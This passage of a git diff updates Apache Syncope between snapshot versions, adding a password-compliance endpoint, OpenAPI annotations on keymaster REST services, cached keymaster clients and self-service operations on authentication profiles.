javax.ws.rs.core.HttpHeaders; import javax.ws.rs.core.MediaType; import javax.ws.rs.core.Response; +import org.apache.syncope.common.lib.request.PasswordPatch; import org.apache.syncope.common.lib.request.StatusR; import org.apache.syncope.common.lib.request.UserCR; import org.apache.syncope.common.lib.request.UserUR; import org.apache.syncope.common.lib.to.ProvisioningResult; import org.apache.syncope.common.lib.to.UserTO; import org.apache.syncope.common.rest.api.RESTHeaders; +import org.apache.syncope.common.rest.api.beans.ComplianceQuery; /** * REST operations for user self-management. @@ -236,7 +238,24 @@ public interface UserSelfService extends JAXRSService { @POST @Path("mustChangePassword") @Produces({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) - Response mustChangePassword(String password); + @Consumes({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) + Response mustChangePassword(@NotNull PasswordPatch password); + + /** + * Checks compliance of the given username and / or password with applicable policies. + * + * @param query compliance query + */ + @ApiResponses( + @ApiResponse(responseCode = "204", description = "Operation was successful")) + @Operation(security = { + @SecurityRequirement(name = "BasicAuthentication"), + @SecurityRequirement(name = "Bearer") }) + @POST + @Path("compliance") + @Produces({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) + @Consumes({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) + void compliance(@NotNull ComplianceQuery query); /** * Provides answer for the security question configured for user matching the given username, if any. diff --git a/common/keymaster/client-api/pom.xml b/common/keymaster/client-api/pom.xml index 3c1543e1ec1..9c2e5c26afc 100644 --- a/common/keymaster/client-api/pom.xml +++ b/common/keymaster/client-api/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.common syncope-common-keymaster - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Common Keymaster Client API diff --git a/common/keymaster/client-api/src/main/java/org/apache/syncope/common/keymaster/client/api/KeymasterProperties.java b/common/keymaster/client-api/src/main/java/org/apache/syncope/common/keymaster/client/api/KeymasterProperties.java index 1878ebaa54f..c7eedb7c032 100644 --- a/common/keymaster/client-api/src/main/java/org/apache/syncope/common/keymaster/client/api/KeymasterProperties.java +++ b/common/keymaster/client-api/src/main/java/org/apache/syncope/common/keymaster/client/api/KeymasterProperties.java @@ -33,6 +33,8 @@ public class KeymasterProperties { private int maxRetries = 3; + private boolean enableAutoRegistration = true; + public String getAddress() { return address; } @@ -72,4 +74,12 @@ public int getMaxRetries() { public void setMaxRetries(final int maxRetries) { this.maxRetries = maxRetries; } + + public boolean isEnableAutoRegistration() { + return enableAutoRegistration; + } + + public void setEnableAutoRegistration(final boolean enableAutoRegistration) { + this.enableAutoRegistration = enableAutoRegistration; + } } diff --git a/common/keymaster/client-api/src/main/resources/defaultContent.xml b/common/keymaster/client-api/src/main/resources/defaultContent.xml index 70c0218f1aa..3e859debb2e 100644 --- a/common/keymaster/client-api/src/main/resources/defaultContent.xml +++ b/common/keymaster/client-api/src/main/resources/defaultContent.xml @@ -18,22 +18,27 @@ specific language governing permissions and limitations under the License. --> - + - - - + + + + - - + + + + + traceLevel="FAILURES" events='["[CUSTOM]:[]:[]:[requestPasswordReset]:[SUCCESS]"]'/> - - + traceLevel="FAILURES" events='["[CUSTOM]:[]:[]:[confirmPasswordReset]:[SUCCESS]"]'/> diff --git a/common/keymaster/client-zookeeper/pom.xml b/common/keymaster/client-zookeeper/pom.xml index 93fddb91df3..1d671f96942 100644 --- a/common/keymaster/client-zookeeper/pom.xml +++ b/common/keymaster/client-zookeeper/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.common syncope-common-keymaster - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Common Keymaster Client Zookeeper diff --git a/common/keymaster/client-zookeeper/src/main/java/org/apache/syncope/common/keymaster/client/zookeeper/ZookeeperDomainOps.java b/common/keymaster/client-zookeeper/src/main/java/org/apache/syncope/common/keymaster/client/zookeeper/ZookeeperDomainOps.java index 4d7766529a1..b6e5ed2d31b 100644 --- a/common/keymaster/client-zookeeper/src/main/java/org/apache/syncope/common/keymaster/client/zookeeper/ZookeeperDomainOps.java +++ b/common/keymaster/client-zookeeper/src/main/java/org/apache/syncope/common/keymaster/client/zookeeper/ZookeeperDomainOps.java @@ -48,6 +48,15 @@ public class ZookeeperDomainOps implements DomainOps, InitializingBean { protected static final String DOMAIN_PATH = "/domains"; + protected static String buildDomainPath(final String... parts) { + String prefix = DOMAIN_PATH; + String suffix = StringUtils.EMPTY; + if (parts != null && parts.length > 0) { + suffix = '/' + String.join("/", parts); + } + return prefix + suffix; + } + @Autowired protected CuratorFramework client; @@ -93,15 +102,6 @@ public void afterPropertiesSet() throws Exception { } } - protected static String buildDomainPath(final String... parts) { - String prefix = DOMAIN_PATH; - String suffix = StringUtils.EMPTY; - if (parts != null && parts.length > 0) { - suffix = '/' + String.join("/", parts); - } - return prefix + suffix; - } - @Override public List list() { try { diff --git a/common/keymaster/pom.xml b/common/keymaster/pom.xml index 53514572e08..59730feee5a 100644 --- a/common/keymaster/pom.xml +++ b/common/keymaster/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope syncope-common - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Common Keymaster diff --git a/common/keymaster/self/client-self/pom.xml b/common/keymaster/self/client-self/pom.xml index 29071e38ce4..f7927d458d3 100644 --- a/common/keymaster/self/client-self/pom.xml +++ b/common/keymaster/self/client-self/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.common.keymaster syncope-common-keymaster-self - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Common Keymaster Client Self @@ -58,6 +58,10 @@ under the License. org.apache.cxf cxf-rt-features-logging + + org.apache.cxf + cxf-rt-transports-http-hc + com.fasterxml.jackson.jaxrs diff --git a/common/keymaster/self/client-self/src/main/java/org/apache/syncope/common/keymaster/client/self/SelfKeymasterClientContext.java b/common/keymaster/self/client-self/src/main/java/org/apache/syncope/common/keymaster/client/self/SelfKeymasterClientContext.java index 29199d55900..de44e9523ea 100644 --- a/common/keymaster/self/client-self/src/main/java/org/apache/syncope/common/keymaster/client/self/SelfKeymasterClientContext.java +++ b/common/keymaster/self/client-self/src/main/java/org/apache/syncope/common/keymaster/client/self/SelfKeymasterClientContext.java @@ -66,7 +66,7 @@ public JAXRSClientFactoryBean selfKeymasterRESTClientFactoryBean(final Keymaster restClientFactoryBean.setPassword(props.getPassword()); restClientFactoryBean.setThreadSafe(true); restClientFactoryBean.setInheritHeaders(true); - restClientFactoryBean.setFeatures(List.of(new LoggingFeature())); + restClientFactoryBean.getFeatures().add(new LoggingFeature()); restClientFactoryBean.setProviders(List.of( new JacksonJsonProvider(JsonMapper.builder().findAndAddModules().build()), new SelfKeymasterClientExceptionMapper())); diff --git a/common/keymaster/self/client-self/src/main/java/org/apache/syncope/common/keymaster/client/self/SelfKeymasterOps.java b/common/keymaster/self/client-self/src/main/java/org/apache/syncope/common/keymaster/client/self/SelfKeymasterOps.java index 2b9f6e32dfd..2a9a31e023e 100644 --- a/common/keymaster/self/client-self/src/main/java/org/apache/syncope/common/keymaster/client/self/SelfKeymasterOps.java +++ b/common/keymaster/self/client-self/src/main/java/org/apache/syncope/common/keymaster/client/self/SelfKeymasterOps.java @@ -18,6 +18,8 @@ */ package org.apache.syncope.common.keymaster.client.self; +import java.util.Collections; +import java.util.HashMap; import java.util.Map; import javax.ws.rs.client.CompletionStageRxInvoker; import javax.ws.rs.core.MediaType; @@ -28,29 +30,50 @@ import org.apache.cxf.jaxrs.client.WebClient; import org.apache.cxf.transport.common.gzip.GZIPInInterceptor; import org.apache.cxf.transport.common.gzip.GZIPOutInterceptor; +import org.apache.cxf.transport.http.HTTPConduit; +import org.apache.cxf.transport.http.asyncclient.AsyncHTTPConduit; +import org.apache.cxf.transports.http.configuration.ConnectionType; +import org.apache.cxf.transports.http.configuration.HTTPClientPolicy; abstract class SelfKeymasterOps { + protected final Map, Object> services = Collections.synchronizedMap(new HashMap<>()); + private final JAXRSClientFactoryBean clientFactory; + protected HTTPClientPolicy httpClientPolicy; + protected SelfKeymasterOps(final JAXRSClientFactoryBean clientFactory) { this.clientFactory = clientFactory; + + httpClientPolicy = new HTTPClientPolicy(); + httpClientPolicy.setConnection(ConnectionType.CLOSE); } - protected T client(final Class serviceClass, final Map headers) { + @SuppressWarnings("unchecked") + public T client(final Class serviceClass, final Map headers) { T service; - synchronized (clientFactory) { - clientFactory.setServiceClass(serviceClass); - clientFactory.setHeaders(headers); - service = clientFactory.create(serviceClass); - } + if (services.containsKey(serviceClass)) { + service = (T) services.get(serviceClass); + } else { + synchronized (clientFactory) { + clientFactory.setServiceClass(serviceClass); + clientFactory.setHeaders(headers); + service = clientFactory.create(serviceClass); + } + services.put(serviceClass, service); - Client client = WebClient.client(service); - client.type(MediaType.APPLICATION_JSON).accept(MediaType.APPLICATION_JSON); + Client client = WebClient.client(service); + client.type(MediaType.APPLICATION_JSON).accept(MediaType.APPLICATION_JSON); - ClientConfiguration config = WebClient.getConfig(client); - config.getInInterceptors().add(new GZIPInInterceptor()); - config.getOutInterceptors().add(new GZIPOutInterceptor()); + ClientConfiguration config = WebClient.getConfig(client); + config.getRequestContext().put(AsyncHTTPConduit.USE_ASYNC, Boolean.TRUE); + config.getInInterceptors().add(new GZIPInInterceptor()); + config.getOutInterceptors().add(new GZIPOutInterceptor()); + + HTTPConduit httpConduit = (HTTPConduit) config.getConduit(); + httpConduit.setClient(httpClientPolicy); + } return service; } diff --git a/common/keymaster/self/pom.xml b/common/keymaster/self/pom.xml index 8ce7fbd7826..960c68c3819 100644 --- a/common/keymaster/self/pom.xml +++ b/common/keymaster/self/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.common syncope-common-keymaster - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Common Keymaster Self diff --git a/common/keymaster/self/rest-api/pom.xml b/common/keymaster/self/rest-api/pom.xml index 6af92c1640a..d25945b34c9 100644 --- a/common/keymaster/self/rest-api/pom.xml +++ b/common/keymaster/self/rest-api/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.common.keymaster syncope-common-keymaster-self - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Common Keymaster Self REST API @@ -53,6 +53,21 @@ under the License. + + + org.apache.maven.plugins + maven-javadoc-plugin + true + + + attach-javadocs + + jar + + + + + org.apache.maven.plugins maven-checkstyle-plugin diff --git a/common/keymaster/self/rest-api/src/main/java/org/apache/syncope/common/keymaster/rest/api/service/ConfParamService.java b/common/keymaster/self/rest-api/src/main/java/org/apache/syncope/common/keymaster/rest/api/service/ConfParamService.java index 2935d257b01..26841faf85d 100644 --- a/common/keymaster/self/rest-api/src/main/java/org/apache/syncope/common/keymaster/rest/api/service/ConfParamService.java +++ b/common/keymaster/self/rest-api/src/main/java/org/apache/syncope/common/keymaster/rest/api/service/ConfParamService.java @@ -18,6 +18,11 @@ */ package org.apache.syncope.common.keymaster.rest.api.service; +import io.swagger.v3.oas.annotations.responses.ApiResponse; +import io.swagger.v3.oas.annotations.responses.ApiResponses; +import io.swagger.v3.oas.annotations.security.SecurityRequirement; +import io.swagger.v3.oas.annotations.security.SecurityRequirements; +import io.swagger.v3.oas.annotations.tags.Tag; import java.io.InputStream; import java.io.Serializable; import java.util.Map; @@ -35,26 +40,55 @@ /** * REST operations for Self Keymaster's conf params. */ +@Tag(name = "Conf Parameters") +@SecurityRequirements({ + @SecurityRequirement(name = "BasicAuthentication") }) @Path("conf") public interface ConfParamService extends Serializable { + /** + * Returns the full list of defined conf parameters, with values. + * + * @return full list of defined conf parameters, with values + */ @GET @Produces({ MediaType.APPLICATION_JSON }) Map list(); + /** + * Returns the value(s) of the given conf parameter, if defined. + * + * @param key conf parameter key + * @return the value(s) of the given conf parameter, if defined + */ @GET @Path("{key}") @Produces({ MediaType.APPLICATION_JSON }) Response get(@NotNull @PathParam("key") String key); + /** + * Sets the value(s) for the given conf parameter. + * + * @param key conf parameter key + * @param value conf parameter value(s) + */ + @ApiResponses( + @ApiResponse(responseCode = "204", description = "Operation was successful")) @POST @Path("{key}") @Consumes({ MediaType.APPLICATION_JSON }) @Produces({ MediaType.APPLICATION_JSON }) - Response set(@NotNull @PathParam("key") String key, InputStream value); + void set(@NotNull @PathParam("key") String key, InputStream value); + /** + * Deletes the conf parameter matching the provided key. + * + * @param key conf parameter key + */ + @ApiResponses( + @ApiResponse(responseCode = "204", description = "Operation was successful")) @DELETE @Path("{key}") @Produces({ MediaType.APPLICATION_JSON }) - Response remove(@NotNull @PathParam("key") String key); + void remove(@NotNull @PathParam("key") String key); } diff --git a/common/keymaster/self/rest-api/src/main/java/org/apache/syncope/common/keymaster/rest/api/service/DomainService.java b/common/keymaster/self/rest-api/src/main/java/org/apache/syncope/common/keymaster/rest/api/service/DomainService.java index bc0cabb5937..6bd589ec85e 100644 --- a/common/keymaster/self/rest-api/src/main/java/org/apache/syncope/common/keymaster/rest/api/service/DomainService.java +++ b/common/keymaster/self/rest-api/src/main/java/org/apache/syncope/common/keymaster/rest/api/service/DomainService.java @@ -18,6 +18,13 @@ */ package org.apache.syncope.common.keymaster.rest.api.service; +import io.swagger.v3.oas.annotations.headers.Header; +import io.swagger.v3.oas.annotations.media.Schema; +import io.swagger.v3.oas.annotations.responses.ApiResponse; +import io.swagger.v3.oas.annotations.responses.ApiResponses; +import io.swagger.v3.oas.annotations.security.SecurityRequirement; +import io.swagger.v3.oas.annotations.security.SecurityRequirements; +import io.swagger.v3.oas.annotations.tags.Tag; import java.io.Serializable; import java.util.List; import javax.validation.constraints.NotNull; @@ -29,49 +36,105 @@ import javax.ws.rs.PathParam; import javax.ws.rs.Produces; import javax.ws.rs.QueryParam; +import javax.ws.rs.core.HttpHeaders; import javax.ws.rs.core.MediaType; import javax.ws.rs.core.Response; import org.apache.syncope.common.keymaster.client.api.model.Domain; import org.apache.syncope.common.lib.types.CipherAlgorithm; +import org.apache.syncope.common.rest.api.RESTHeaders; /** * REST operations for Self Keymaster's domains. */ +@Tag(name = "Domains") +@SecurityRequirements({ + @SecurityRequirement(name = "BasicAuthentication") }) @Path("domains") public interface DomainService extends Serializable { + /** + * Returns the list of defined domains. + * + * @return list of defined domains + */ @GET @Produces({ MediaType.APPLICATION_JSON }) List list(); + /** + * Returns the domain matching the given key. + * + * @param key key of the domain to be read + * @return domain matching the given key + */ @GET @Path("{key}") @Produces({ MediaType.APPLICATION_JSON }) Domain read(@NotNull @PathParam("key") String key); + /** + * Creates a new domain. + * + * @param domain domain to be created + * @return Response object featuring Location header of created domain + */ + @ApiResponses( + @ApiResponse(responseCode = "201", + description = "Domain successfully created", headers = { + @Header(name = RESTHeaders.RESOURCE_KEY, schema = + @Schema(type = "string"), + description = "Key of the domin created"), + @Header(name = HttpHeaders.LOCATION, schema = + @Schema(type = "string"), + description = "URL of the domin created") })) @POST @Consumes({ MediaType.APPLICATION_JSON }) @Produces({ MediaType.APPLICATION_JSON }) Response create(Domain domain); + /** + * Change admin's password for the given domain. + * + * @param key key of domain to be updated + * @param password encoded password value + * @param cipherAlgorithm password cipher algorithm + */ + @ApiResponses( + @ApiResponse(responseCode = "204", description = "Operation was successful")) @POST @Path("{key}/changeAdminPassword") @Produces({ MediaType.APPLICATION_JSON }) - Response changeAdminPassword( + void changeAdminPassword( @NotNull @PathParam("key") String key, @QueryParam("password") String password, @QueryParam("cipherAlgorithm") CipherAlgorithm cipherAlgorithm); + /** + * Adjusts the connection pool to the domain database. + * + * @param key key of domain to be updated + * @param poolMaxActive database pool max size + * @param poolMinIdle database pool max size + */ + @ApiResponses( + @ApiResponse(responseCode = "204", description = "Operation was successful")) @POST @Path("{key}/adjustPoolSize") @Produces({ MediaType.APPLICATION_JSON }) - Response adjustPoolSize( + void adjustPoolSize( @NotNull @PathParam("key") String key, @QueryParam("poolMaxActive") int poolMaxActive, @QueryParam("poolMinIdle") int poolMinIdle); + /** + * Deletes the domain matching the provided key. + * + * @param key key of domain to be deleted + */ + @ApiResponses( + @ApiResponse(responseCode = "204", description = "Operation was successful")) @DELETE @Path("{key}") @Produces({ MediaType.APPLICATION_JSON }) - Response delete(@NotNull @PathParam("key") String key); + void delete(@NotNull @PathParam("key") String key); } diff --git a/common/keymaster/self/rest-api/src/main/java/org/apache/syncope/common/keymaster/rest/api/service/NetworkServiceService.java b/common/keymaster/self/rest-api/src/main/java/org/apache/syncope/common/keymaster/rest/api/service/NetworkServiceService.java index 1ac8376e38d..9145061c432 100644 --- a/common/keymaster/self/rest-api/src/main/java/org/apache/syncope/common/keymaster/rest/api/service/NetworkServiceService.java +++ b/common/keymaster/self/rest-api/src/main/java/org/apache/syncope/common/keymaster/rest/api/service/NetworkServiceService.java @@ -18,6 +18,11 @@ */ package org.apache.syncope.common.keymaster.rest.api.service; +import io.swagger.v3.oas.annotations.responses.ApiResponse; +import io.swagger.v3.oas.annotations.responses.ApiResponses; +import io.swagger.v3.oas.annotations.security.SecurityRequirement; +import io.swagger.v3.oas.annotations.security.SecurityRequirements; +import io.swagger.v3.oas.annotations.tags.Tag; import java.io.Serializable; import java.util.List; import javax.validation.constraints.NotNull; @@ -29,12 +34,14 @@ import javax.ws.rs.Produces; import javax.ws.rs.QueryParam; import javax.ws.rs.core.MediaType; -import javax.ws.rs.core.Response; import org.apache.syncope.common.keymaster.client.api.model.NetworkService; /** * REST operations for Self Keymaster's service discovery. */ +@Tag(name = "Network Services") +@SecurityRequirements({ + @SecurityRequirement(name = "BasicAuthentication") }) @Path("networkServices") public interface NetworkServiceService extends Serializable { @@ -44,20 +51,40 @@ enum Action { } + /** + * Returns the list of registered services. + * + * @param serviceType service type + * @return list of registered services + */ @GET @Path("{serviceType}") @Produces({ MediaType.APPLICATION_JSON }) List list(@NotNull @PathParam("serviceType") NetworkService.Type serviceType); + /** + * Returns the service instance to invoke, for the given type. + * + * @param serviceType service type + * @return service instance to invoke, for the given type + */ @GET @Path("{serviceType}/get") @Produces({ MediaType.APPLICATION_JSON }) NetworkService get(@NotNull @PathParam("serviceType") NetworkService.Type serviceType); + /** + * (Un)registers the given service. + * + * @param networkService service instance + * @param action action to perform on the given service + */ + @ApiResponses( + @ApiResponse(responseCode = "204", description = "Operation was successful")) @POST @Consumes({ MediaType.APPLICATION_JSON }) @Produces({ MediaType.APPLICATION_JSON }) - Response action( + void action( @NotNull NetworkService networkService, @QueryParam("action") Action action); } diff --git a/common/pom.xml b/common/pom.xml index e3f4063e82f..c38a73a3686 100644 --- a/common/pom.xml +++ b/common/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope syncope - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Common diff --git a/core/am/logic/pom.xml b/core/am/logic/pom.xml index a565827e5f2..60d2d6dc700 100644 --- a/core/am/logic/pom.xml +++ b/core/am/logic/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.core syncope-core-am - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Core AM Logic diff --git a/core/am/logic/src/main/java/org/apache/syncope/core/logic/AMLogicContext.java b/core/am/logic/src/main/java/org/apache/syncope/core/logic/AMLogicContext.java index 715f50b9e12..07346e6f581 100644 --- a/core/am/logic/src/main/java/org/apache/syncope/core/logic/AMLogicContext.java +++ b/core/am/logic/src/main/java/org/apache/syncope/core/logic/AMLogicContext.java @@ -23,6 +23,7 @@ import org.apache.syncope.core.logic.wa.GoogleMfaAuthAccountLogic; import org.apache.syncope.core.logic.wa.GoogleMfaAuthTokenLogic; import org.apache.syncope.core.logic.wa.ImpersonationLogic; +import org.apache.syncope.core.logic.wa.MfaTrusStorageLogic; import org.apache.syncope.core.logic.wa.U2FRegistrationLogic; import org.apache.syncope.core.logic.wa.WAClientAppLogic; import org.apache.syncope.core.logic.wa.WAConfigLogic; @@ -95,12 +96,11 @@ public AuthProfileLogic authProfileLogic( @Bean public ClientAppLogic clientAppLogic( final ServiceOps serviceOps, + final ClientAppUtilsFactory clientAppUtilsFactory, + final ClientAppDataBinder binder, final CASSPClientAppDAO casSPClientAppDAO, final OIDCRPClientAppDAO oidcRPClientAppDAO, - final SAML2SPClientAppDAO saml2SPClientAppDAO, - final SecurityProperties securityProperties, - final ClientAppUtilsFactory clientAppUtilsFactory, - final ClientAppDataBinder binder) { + final SAML2SPClientAppDAO saml2SPClientAppDAO) { return new ClientAppLogic( serviceOps, @@ -108,17 +108,18 @@ public ClientAppLogic clientAppLogic( binder, casSPClientAppDAO, oidcRPClientAppDAO, - saml2SPClientAppDAO, - securityProperties); + saml2SPClientAppDAO); } @ConditionalOnMissingBean @Bean public OIDCJWKSLogic oidcJWKSLogic( - final OIDCJWKSDataBinder binder, - final OIDCJWKSDAO dao) { + final OIDCJWKSDataBinder oidcJWKSDataBinder, + final OIDCJWKSDAO oidcJWKSDAO, + final WAConfigDAO waConfigDAO, + final EntityFactory entityFactory) { - return new OIDCJWKSLogic(binder, dao); + return new OIDCJWKSLogic(oidcJWKSDataBinder, oidcJWKSDAO, waConfigDAO, entityFactory); } @ConditionalOnMissingBean @@ -191,6 +192,16 @@ public U2FRegistrationLogic u2fRegistrationLogic( return new U2FRegistrationLogic(entityFactory, authProfileDAO, authProfileDataBinder); } + @ConditionalOnMissingBean + @Bean + public MfaTrusStorageLogic mfaTrusStorageLogic( + final AuthProfileDAO authProfileDAO, + final AuthProfileDataBinder authProfileDataBinder, + final EntityFactory entityFactory) { + + return new MfaTrusStorageLogic(entityFactory, authProfileDAO, authProfileDataBinder); + } + @ConditionalOnMissingBean @Bean public WAClientAppLogic waClientAppLogic( diff --git a/core/am/logic/src/main/java/org/apache/syncope/core/logic/AttrRepoLogic.java b/core/am/logic/src/main/java/org/apache/syncope/core/logic/AttrRepoLogic.java index 530df926fce..f641c72c5ed 100644 --- a/core/am/logic/src/main/java/org/apache/syncope/core/logic/AttrRepoLogic.java +++ b/core/am/logic/src/main/java/org/apache/syncope/core/logic/AttrRepoLogic.java @@ -92,27 +92,25 @@ public AttrRepoTO delete(final String key) { protected AttrRepoTO resolveReference(final Method method, final Object... args) throws UnresolvedReferenceException { - String key = null; - - if (ArrayUtils.isNotEmpty(args)) { - for (int i = 0; key == null && i < args.length; i++) { - if (args[i] instanceof String) { - key = (String) args[i]; - } else if (args[i] instanceof AttrRepoTO) { - key = ((AttrRepoTO) args[i]).getKey(); - } - } + if (ArrayUtils.isEmpty(args)) { + throw new UnresolvedReferenceException(); } - if (key != null) { - try { - return binder.getAttrRepoTO(attrRepoDAO.find(key)); - } catch (Throwable ignore) { - LOG.debug("Unresolved reference", ignore); - throw new UnresolvedReferenceException(ignore); - } + final String key; + + if (args[0] instanceof String) { + key = (String) args[0]; + } else if (args[0] instanceof AttrRepoTO) { + key = ((AttrRepoTO) args[0]).getKey(); + } else { + throw new UnresolvedReferenceException(); } - throw new UnresolvedReferenceException(); + try { + return binder.getAttrRepoTO(attrRepoDAO.find(key)); + } catch (Throwable ignore) { + LOG.debug("Unresolved reference", ignore); + throw new UnresolvedReferenceException(ignore); + } } } diff --git a/core/am/logic/src/main/java/org/apache/syncope/core/logic/AuthModuleLogic.java b/core/am/logic/src/main/java/org/apache/syncope/core/logic/AuthModuleLogic.java index f10251bbbda..623bad342b4 100644 --- a/core/am/logic/src/main/java/org/apache/syncope/core/logic/AuthModuleLogic.java +++ b/core/am/logic/src/main/java/org/apache/syncope/core/logic/AuthModuleLogic.java @@ -92,27 +92,25 @@ public AuthModuleTO delete(final String key) { protected AuthModuleTO resolveReference(final Method method, final Object... args) throws UnresolvedReferenceException { - String key = null; - - if (ArrayUtils.isNotEmpty(args)) { - for (int i = 0; key == null && i < args.length; i++) { - if (args[i] instanceof String) { - key = (String) args[i]; - } else if (args[i] instanceof AuthModuleTO) { - key = ((AuthModuleTO) args[i]).getKey(); - } - } + if (ArrayUtils.isEmpty(args)) { + throw new UnresolvedReferenceException(); } - if (key != null) { - try { - return binder.getAuthModuleTO(authModuleDAO.find(key)); - } catch (Throwable ignore) { - LOG.debug("Unresolved reference", ignore); - throw new UnresolvedReferenceException(ignore); - } + final String key; + + if (args[0] instanceof String) { + key = (String) args[0]; + } else if (args[0] instanceof AuthModuleTO) { + key = ((AuthModuleTO) args[0]).getKey(); + } else { + throw new UnresolvedReferenceException(); } - throw new UnresolvedReferenceException(); + try { + return binder.getAuthModuleTO(authModuleDAO.find(key)); + } catch (Throwable ignore) { + LOG.debug("Unresolved reference", ignore); + throw new UnresolvedReferenceException(ignore); + } } } diff --git a/core/am/logic/src/main/java/org/apache/syncope/core/logic/AuthProfileLogic.java b/core/am/logic/src/main/java/org/apache/syncope/core/logic/AuthProfileLogic.java index 31b1d174304..03e0af7e290 100644 --- a/core/am/logic/src/main/java/org/apache/syncope/core/logic/AuthProfileLogic.java +++ b/core/am/logic/src/main/java/org/apache/syncope/core/logic/AuthProfileLogic.java @@ -24,10 +24,14 @@ import org.apache.commons.lang3.tuple.Pair; import org.apache.syncope.common.lib.to.AuthProfileTO; import org.apache.syncope.common.lib.types.AMEntitlement; +import org.apache.syncope.common.lib.types.AnyTypeKind; +import org.apache.syncope.common.lib.types.IdRepoEntitlement; import org.apache.syncope.core.persistence.api.dao.AuthProfileDAO; import org.apache.syncope.core.persistence.api.dao.NotFoundException; import org.apache.syncope.core.persistence.api.entity.am.AuthProfile; import org.apache.syncope.core.provisioning.api.data.AuthProfileDataBinder; +import org.apache.syncope.core.spring.security.AuthContextUtils; +import org.apache.syncope.core.spring.security.DelegatedAdministrationException; import org.springframework.security.access.prepost.PreAuthorize; import org.springframework.transaction.annotation.Transactional; @@ -37,9 +41,17 @@ public AuthProfileLogic(final AuthProfileDAO authProfileDAO, final AuthProfileDa super(authProfileDAO, binder); } - @PreAuthorize("hasRole('" + AMEntitlement.AUTH_PROFILE_DELETE + "') ") - public void delete(final String key) { - authProfileDAO.delete(key); + @PreAuthorize("hasRole('" + AMEntitlement.AUTH_PROFILE_LIST + "')") + @Transactional(readOnly = true) + public Pair> list(final int page, final int size) { + int count = authProfileDAO.count(); + + List result = authProfileDAO.findAll(page, size). + stream(). + map(binder::getAuthProfileTO). + collect(Collectors.toList()); + + return Pair.of(count, result); } @PreAuthorize("hasRole('" + AMEntitlement.AUTH_PROFILE_READ + "') ") @@ -50,6 +62,14 @@ public AuthProfileTO read(final String key) { orElseThrow(() -> new NotFoundException(key + " not found")); } + @PreAuthorize("isAuthenticated() and not(hasRole('" + IdRepoEntitlement.ANONYMOUS + "'))") + @Transactional(readOnly = true) + public AuthProfileTO selfRead() { + return authProfileDAO.findByOwner(AuthContextUtils.getUsername()). + map(binder::getAuthProfileTO). + orElseThrow(() -> new NotFoundException("AuthProfile for " + AuthContextUtils.getUsername())); + } + @PreAuthorize("hasRole('" + AMEntitlement.AUTH_PROFILE_CREATE + "') ") public AuthProfileTO create(final AuthProfileTO authProfileTO) { return binder.getAuthProfileTO(authProfileDAO.save(binder.create(authProfileTO))); @@ -63,16 +83,25 @@ public void update(final AuthProfileTO authProfileTO) { authProfileDAO.save(authProfile); } - @PreAuthorize("hasRole('" + AMEntitlement.AUTH_PROFILE_LIST + "')") - @Transactional(readOnly = true) - public Pair> list(final int page, final int size) { - int count = authProfileDAO.count(); + @PreAuthorize("isAuthenticated() and not(hasRole('" + IdRepoEntitlement.ANONYMOUS + "'))") + public void selfUpdate(final AuthProfileTO authProfileTO) { + authProfileDAO.findByOwner(AuthContextUtils.getUsername()). + filter(authProfile -> authProfile.getKey().equals(authProfileTO.getKey()) + && authProfile.getOwner().equals(authProfileTO.getOwner())). + orElseThrow(() -> new DelegatedAdministrationException(AnyTypeKind.USER, authProfileTO.getOwner())); - List result = authProfileDAO.findAll(page, size). - stream(). - map(binder::getAuthProfileTO). - collect(Collectors.toList()); + update(authProfileTO); + } - return Pair.of(count, result); + @PreAuthorize("hasRole('" + AMEntitlement.AUTH_PROFILE_DELETE + "') ") + public void delete(final String key) { + authProfileDAO.delete(key); + } + + @PreAuthorize("isAuthenticated() and not(hasRole('" + IdRepoEntitlement.ANONYMOUS + "'))") + public void selfDelete() { + authProfileDAO.delete(authProfileDAO.findByOwner(AuthContextUtils.getUsername()). + orElseThrow(() -> new DelegatedAdministrationException( + AnyTypeKind.USER, AuthContextUtils.getUsername())).getKey()); } } diff --git a/core/am/logic/src/main/java/org/apache/syncope/core/logic/ClientAppLogic.java b/core/am/logic/src/main/java/org/apache/syncope/core/logic/ClientAppLogic.java index d6c336852cb..881509f6622 100644 --- a/core/am/logic/src/main/java/org/apache/syncope/core/logic/ClientAppLogic.java +++ b/core/am/logic/src/main/java/org/apache/syncope/core/logic/ClientAppLogic.java @@ -18,24 +18,12 @@ */ package org.apache.syncope.core.logic; -import java.io.IOException; import java.lang.reflect.Method; -import java.net.URI; -import java.net.http.HttpClient; -import java.net.http.HttpRequest; -import java.net.http.HttpResponse; import java.util.List; import java.util.stream.Collectors; import java.util.stream.Stream; -import javax.ws.rs.InternalServerErrorException; -import javax.ws.rs.core.HttpHeaders; -import javax.ws.rs.core.MediaType; import org.apache.commons.lang3.ArrayUtils; -import org.apache.commons.lang3.StringUtils; -import org.apache.cxf.transport.http.auth.DefaultBasicAuthSupplier; -import org.apache.syncope.common.keymaster.client.api.KeymasterException; import org.apache.syncope.common.keymaster.client.api.ServiceOps; -import org.apache.syncope.common.keymaster.client.api.model.NetworkService; import org.apache.syncope.common.lib.SyncopeClientException; import org.apache.syncope.common.lib.to.ClientAppTO; import org.apache.syncope.common.lib.types.AMEntitlement; @@ 